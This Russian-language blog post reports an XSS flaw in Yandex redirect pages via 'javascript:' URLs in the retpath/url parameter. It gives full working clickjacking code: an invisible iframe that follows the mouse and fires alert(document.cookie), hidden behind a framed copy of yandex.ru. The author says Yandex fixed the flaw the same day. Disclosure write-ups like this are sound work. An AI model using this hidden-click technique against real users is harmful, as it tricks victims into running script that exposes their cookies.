
Здравствуйте, Хабражители!
Сегодня гулял по сети, зашел на Яндекс, чтобы посмотреть погоду в столице. Когда нажал кнопочку «другой город» Яндекс перенаправил меня сюда. Я думаю, что у каждого, кто видит такой адрес возникает желание подменить один из параметров, а точнее retpath. :) Вставил я туда стандартный
"><script>alert('xss');</script>
и залез в исходник, смотреть что фильтруется, а что нет. Вот такая строка была в исходнике. <span onclick="return {'b\-form\-button':{name:'b\-form\-button', 'retpath': &quot;\&quot;&gt;&lt;script&gt;alert('xss')&quot;}}"
Ну, думаю, скукота, — все фильтруется. Потом посмотрел внимательней и понял, что Яндекс не добавляет к URL вначале протокол, вот тут можно и поиграться. Ввел javascript: alert('xss');
— работает! Но к сожалению, только при нажатии на кнопку «Вернуться». Можете попробовать. Уже интереснее, копаем дальше… (Материал написан и предоставлен в учебных целях.)
Итак, что нужно сделать, чтобы пользователь не знал, что он кликает на «Вернуться»? — Правильно. Нужно поместить эту страницу в iframe, добавить стилей, и поместить прозрачно над каким-либо элементом, на нашей странице. Пробуем вариант с фреймами — не получается. Яндекс проверяет, если их сайт открыт в фрейме, и перенаправляет родительское окно(браузера) на Яндекс. Как же решить эту проблему? Я нашел атрибут sandbox для iframe, введенный только в html5. И просто запретил перенаправлять пользователя, но способ работал только в Хроме, и то, блокируя содержимое всего фрейма.
Настроение уже начало ухудшаться, и я решил поискать, где в других местах используется retpath, ведь если подобная уязвимость есть в одном месте, то она будет и в другом. Нашел парочку в «Словарях» и «Помощи», но кнопки «Вернуться» там не было. Потом из за того, что я не правильно подменил параметр, Яндекс отправил меня сюда, вот тут то все и началось.
Итак, пробуем подменить параметр url на
javascript:alert('ahoy!');
и кликаем на ссылку. Работает! Теперь пробуем поместить адрес с уязвимостью в iframe. Ура! Проверок нет. Попробовать. Отлично, идем дальше.Теперь нам нужно добавить нужные стили к iframe. Я решил сделать так: поместить айфрейм с уязвимостью внутрь маленького(100x20) дива, и сдвинуть iframe так, что пользователю будет «видна» только ссылка (по которой нужно кликнуть :).
<!DOCTYPE html>
<html>
<head>
<style type="text/css">
body {
margin:0;
padding:0;
}
#helper {
position: absolute;
overflow: hidden;
width: 200px;
height: 13px;
}
#ifr {
position: relative;
top: -180px;
left: -58px;
}
</style>
</head>
<body>
<div id="helper">
<div style="width: 100%; height: 300px">
<iframe
id="ifr"
src="http://yandex.ru/redir_warning/?url=javascript:alert(document.cookie)"
width="1000px"
height="300"
frameborder="no"
scrolling="no"
></iframe>
</div>
</div>
</body>
</html>
Готово, но как-то скучно! Хотелось бы, чтобы пользователь ни о чем не подозревал. Как это сделать? Интересный вопрос. Первое, что пришло в голову — а что если двигать элемент helper за мышкой. Это значит, что пользователю уже не надо кликать в определенном месте. Где бы он не кликнул — скрипт выполнится. Привожу код:
var el;
window.onload = function() {
var ifr = document.getElementById("ifr");
//некоторые различия в верстке в вебките
if(navigator.userAgent.toLowerCase().indexOf("webkit") != -1) {
ifr.style.top = "-180px";
} else {
ifr.style.top = "-190px";
}
el = document.getElementById("helper");
window.onmousemove = onmove;
}
function onmove(e) {
el.style.left = (e.pageX - 50) + "px";
el.style.top = (e.pageY - 12) + "px";
return false;
}
А ещё откроем большой и видимый айфрем с главной Яндекса, чтобы пользователь думал, что он ещё там. :)
<iframe id="yandex" src="http://yandex.ru/" width="100%" height="100%" frameborder="no"></iframe>
Хорошо! Яндекс разрешает открывать свою гланую страницу внутри фрейма.
Меняем zIndex'ы элементов и делаем наш helper невидимым и добавляем дополнительный прозрачный DIV, который перекрывает айфрейм яндекса и позволяет избежать конфликтов между айфремами.
<div id="overlay"></div>
#helper {
z-index: 20000;
opacity: 0;
}
#yandex {
z-index: 10;
}
#overlay {
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
z-index: 20;
}
Готовый пример.
Как это работает?
(по ссылкам выполняется alert(document.cookie))
Надеюсь, что Вам понравилась моя статья. Буду рад комментариям.
На момент 20:30 уявимость прикрыта, я очень рад за Яндекс, что скорость устранения уязвимостей такая быстрая. От яндекса на почту пришло:
Добрый день, Олег!
Благодарим за интерес к работе нашего сервиса и Ваше сообщение, мы обязательно проверим указанную Вами информацию. Ваше письмо направлено разработчикам.
--
С уважением, ...
Служба поддержки Яндекса
http://help.yandex.ru/